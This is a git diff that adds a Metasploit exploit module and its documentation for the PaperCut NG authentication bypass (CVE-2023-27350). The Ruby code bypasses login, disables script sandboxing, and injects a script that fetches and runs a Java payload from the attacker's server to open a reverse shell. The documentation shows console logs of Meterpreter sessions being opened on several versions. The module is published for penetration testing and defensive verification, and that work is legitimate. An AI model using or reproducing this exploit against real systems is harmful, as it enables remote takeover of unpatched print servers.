diff --git a/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md new file mode 100644 index 0000000000..e22974f3f8 --- /dev/null +++ b/documentation/modules/exploit/multi/http/papercut_ng_auth_bypass.md @@ -0,0 +1,230 @@ +## Vulnerable Application +### Description +PaperCut NG Authentication Bypass affecting the below versions, see +[confirmation](https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps): +- version 8.0.0 to 19.2.7 (inclusive) +- version 20.0.0 to 20.1.6 (inclusive) +- version 21.0.0 to 21.2.10 (inclusive) +- version 22.0.0 to 22.0.8 (inclusive) + +See module `info` for additional references. + +### Building a Vulnerable Container +Papercut NG can be run in a container. This is useful for creating test environments for verification. To acquire past versions of the +software, i.e. known vulnerable versions, see [Download past/old PaperCut NG Versions](https://www.papercut.com/kb/Main/PastVersions). + +Versions 16 and later include a "--non-interactive" switch, easing installation. Below I use podman on Centos 9 Stream to containerize the +application for testing. + +From an empty directory, create a Dockerfile containing the following: +```dockerfile +FROM almalinux +RUN yum install -y procps-ng net-tools cpio sudo perl which +RUN yum install -y initscripts +RUN useradd -ms /bin/bash papercut +RUN usermod -a -G wheel papercut +RUN echo "papercut ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers + +COPY pcng-setup-*.sh / + +USER papercut +WORKDIR /home/papercut +``` + +Download a vulnerable version. Build a container. Run the container while performing the installation. +```sh +curl -OJ "https://cdn.papercut.com/files/pcng/16.x/pcng-setup-16.4.39159-linux-x64.sh" +podman build . --tag papercut-16.4.39159 +podman run -it --rm -p 9191:9191 localhost/papercut-16.4.39159 /bin/bash -c "sh /*.sh --non-interactive; read" +``` +Note: *Be sure to cross reference the target version with the known vulnerable versions, as some of the links in the listed Past Versions +are patched.* + +A URL will be provided in the console to access the application, but you will likely need to use an IP accessible from your metasploit +host, e.g. [127.0.0.1](http://127.0.0.1:9191/admin) in order to complete the application setup. After setup, you may commit changes to the +container & tag the new image to maintain your configuration changes. In the future the service can be restarted using +`/etc/init.d/papercut start` from within the container. + +*Caveat: When first starting the server or after completing the installation, at least one user needs to login. I think this has something +to do with getting the license manager into the correct state (i.e. loading the license). When this is not yet done then the Authentication +Bypass is still functional leading to a "Target Vulnerable" message during `check`. However, when attempting to select the +"\[Template Printer\]" a redirect to the About page occurs instead. Ensuring a logon can be done by using the "Login" button presented on +the SetupCompleted page used for the bypass. This scenario is not covered in the module as it is unlikely to be an issue on any network +that is currently in use.* + + +## Options + +### TARGETURI + +Path to the papercut application. Default is `/app`. + +### HTTPDELAY + +Number of seconds the web server will wait before termination. Default is 10. + + +## Verification Steps + +1. `./msfconsole -q` +2. `use multi/http/papercut_ng_auth_bypass` +3. `set RHOSTS [target]` +4. `run` + +## Scenarios + +### Tested on Linux x64 with PaperCut NG Version 22.0.8.65201 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0cwd0h7aut351pzjcifwvdyg25.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/rYrjrI0 +[*] Server started. +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending payload for requested uri: /rYrjrI0.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:46224) at 2023-05-11 01:13:29 +0000 +[*] Server stopped. +[*] rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 19.2.7.62200 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node01j4of6hup0i131vs585edo0uqb2.node0 +[+] The target is vulnerable. +[*] Setting server option 'print-and-device.script.enabled' to 'Y') was 'N' +[*] Setting server option 'print.script.sandboxed' to 'N') was 'Y' +[*] Using URL: http://10.0.4.101:8080/PWMM7S32xpRY7 +[*] Server started. +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending payload for requested uri: /PWMM7S32xpRY7.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:35072) at 2023-05-11 01:25:25 +0000 +[*] Server stopped. +[*] Rolling back 'print.script.sandboxed' to 'Y' +[*] Setting server option 'print.script.sandboxed' to 'Y') was 'N' +[*] Rolling back 'print-and-device.script.enabled' to 'N' +[*] Setting server option 'print-and-device.script.enabled' to 'N') was 'Y' + +meterpreter > +``` +Note: Sandboxing is enabled by default in this version, scripting must be enabled and sandboxing must be disabled. + + +### Tested on Linux x64 with PaperCut NG Version 18.3.9.49588d +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=node0re9f1cbww5v11qgrc7y4g9qv3.node0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/o30YxAzAA69ISJ8 +[*] Server started. +[*] Sending payload for requested uri: /o30YxAzAA69ISJ8.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:40328) at 2023-05-11 02:29:15 +0000 +[*] Server stopped. + +meterpreter > +``` + +### Tested on Linux x64 with PaperCut NG Version 16.4.39159 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=e79i55m6n77ex4p6ee3fu8u9 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/GuHN8K +[*] Server started. +[*] Sending payload for requested uri: /GuHN8K.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:58324) at 2023-05-11 03:22:13 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: The 'Form0' parameter for version 16 and lower does not take an additional '$Submit$1' value. + +### Tested on Linux x64 with PaperCut NG Version 14.3.30457 +``` +msf6 > use exploit/multi/http/papercut_ng_auth_bypass +[*] No payload configured, defaulting to java/meterpreter/reverse_tcp +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set VERBOSE true +VERBOSE => true +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set RHOSTS 10.0.4.101 +RHOSTS => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > set LHOST 10.0.4.101 +LHOST => 10.0.4.101 +msf6 exploit(multi/http/papercut_ng_auth_bypass) > run + +[-] Handler failed to bind to 10.0.4.101:4444:- - +[*] Started reverse TCP handler on 0.0.0.0:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Bypass successful and created session: JSESSIONID=b9g3gepapev0 +[+] The target is vulnerable. +[*] Using URL: http://10.0.4.101:8080/kBXJNp +[*] Server started. +[*] Sending payload for requested uri: /kBXJNp.jar +[*] Sending stage (58851 bytes) to 10.0.2.100 +[*] Meterpreter session 1 opened (10.0.2.100:4444 -> 10.0.2.100:32852) at 2023-05-11 03:56:24 +0000 +[*] Server stopped. + +meterpreter > +``` +Note: Version 14, and possibly earlier, use a different HTML element to report the active version when exercising the vulnerable +'SetupCompleted' page. diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb new file mode 100644 index 0000000000..2d6ea0e5e2 --- /dev/null +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -0,0 +1,254 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'cgi' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PaperCut PaperCutNG Authentication Bypass', + 'Description' => %q{ + This module leverages an authentication bypass in PaperCut NG. If necessary it + updates Papercut configuration options, specifically the 'print-and-device.script.enabled' + and 'print.script.sandboxed' options to allow for arbitrary code execution running in + the builtin RhinoJS engine. + + This module logs at most 2 events in the application log of papercut. Each event is tied + to modifcation of server settings. + }, + 'License' => MSF_LICENSE, + 'Author' => ['catatonicprime'], + 'References' => [ + ['CVE', '2023-27350'], + ['ZDI', '23-233'], + ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], + ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], + ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], + ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software'] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => [ [ 'Automatic Target', {}] ], + 'Platform' => [ 'java' ], + 'Arch' => ARCH_JAVA, + 'Privileged' => true, + 'DisclosureDate' => '2023-03-13', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => '9191', + 'SSL' => 'false' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) + ], self.class + ) + @csrf_token = nil + @config_cleanup = [] + end + + def bypass_auth + # Attempt to generate a session & recover the anti-csrf token for future requests. + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/SetupCompleted' + } + } + ) + return nil unless res && res.code == 200 + + vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") + + # Parse the application version from the response for future decisions. + product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1] + if product_details.nil? + product_details = res.get_html_document.xpath('//span[contains(@class, "version")]') + end + version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') + @version_major = Integer(version_match[:major]) + match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) + @csrf_token = match ? match[:csrf] : '' + end + + def get_config_option(name) + # 1) do a quickfind (setting the tapestry state) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/quickFindForm', + 'sp' => 'S0', + 'Form0' => '$TextField,doQuickFind,clear', + '$TextField' => name, + 'doQuickFind' => 'Go' + } + } + ) + # 2) parse and return the result + return nil unless res && res.code == 200 && (html = res.get_html_document) + return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']")) + return nil unless td.count == 1 && td.text == name + + value_input = html.xpath("//input[@name='$TextField$0']") + value_input[0]['value'] + end + + def set_config_option(name, value, rollback) + # set name:value pair(s) + current_value = get_config_option(name) + if current_value == value + vprint_good("Server option '#{name}' already set to '#{value}')") + return + end + + vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/$Form', + 'sp' => 'S1', + 'Form1' => '$TextField$0,$Submit,$Submit$0', + '$TextField$0' => value, + '$Submit' => 'Update' + } + } + ) + fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 + # skip storing the cleanup change if this is rolling back a previous change + @config_cleanup.push([name, current_value]) unless rollback + end + + def cleanup + super + if @config_cleanup.nil? + return + end + + until @config_cleanup.empty? + cfg = @config_cleanup.pop + vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'") + set_config_option(cfg[0], cfg[1], true) + end + end + + def primer + payload_uri = get_uri + script = <<~SCRIPT + var urls = [new java.net.URL("#{payload_uri}.jar")]; + var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); + s; + SCRIPT + + # The number of parameters passed changed in version 17. + form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0' + if @version_major > 16 + form0 += ',$Submit$1' + end + # 6) Trigger the code execution the printer_id + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_post' => { + 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', + 'sp' => 'S0', + 'Form0' => form0, + 'enablePrintScript' => 'on', + '$Submit$1' => 'Apply', + 'printerId' => 'l1001', + 'scriptBody' => script + } + } + ) + fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200 + end + + def check + # For the check command + bypass_success = bypass_auth + if bypass_success.nil? + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def exploit + # Main function + # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. + bypass_auth unless @csrf_token + if @csrf_token.nil? + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + # Sandboxing wasn't introduced until version 19 + if @version_major >= 19 + # 2) Enable scripts, if needed + set_config_option('print-and-device.script.enabled', 'Y', false) + + # 3) Disable sandboxing, if needed + set_config_option('print.script.sandboxed', 'N', false) + end + # 5) Select the printer, this loads it into the tapestry session to be modified + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_get' => { + 'service' => 'direct/1/PrinterList/selectPrinter', + 'sp' => 'l1001' + } + } + ) + fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200 + + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stop due to our timeout, this is raised + end + + def on_request_uri(cli, request) + vprint_status("Sending payload for requested uri: #{request.uri}") + send_response(cli, payload.raw) + end + +end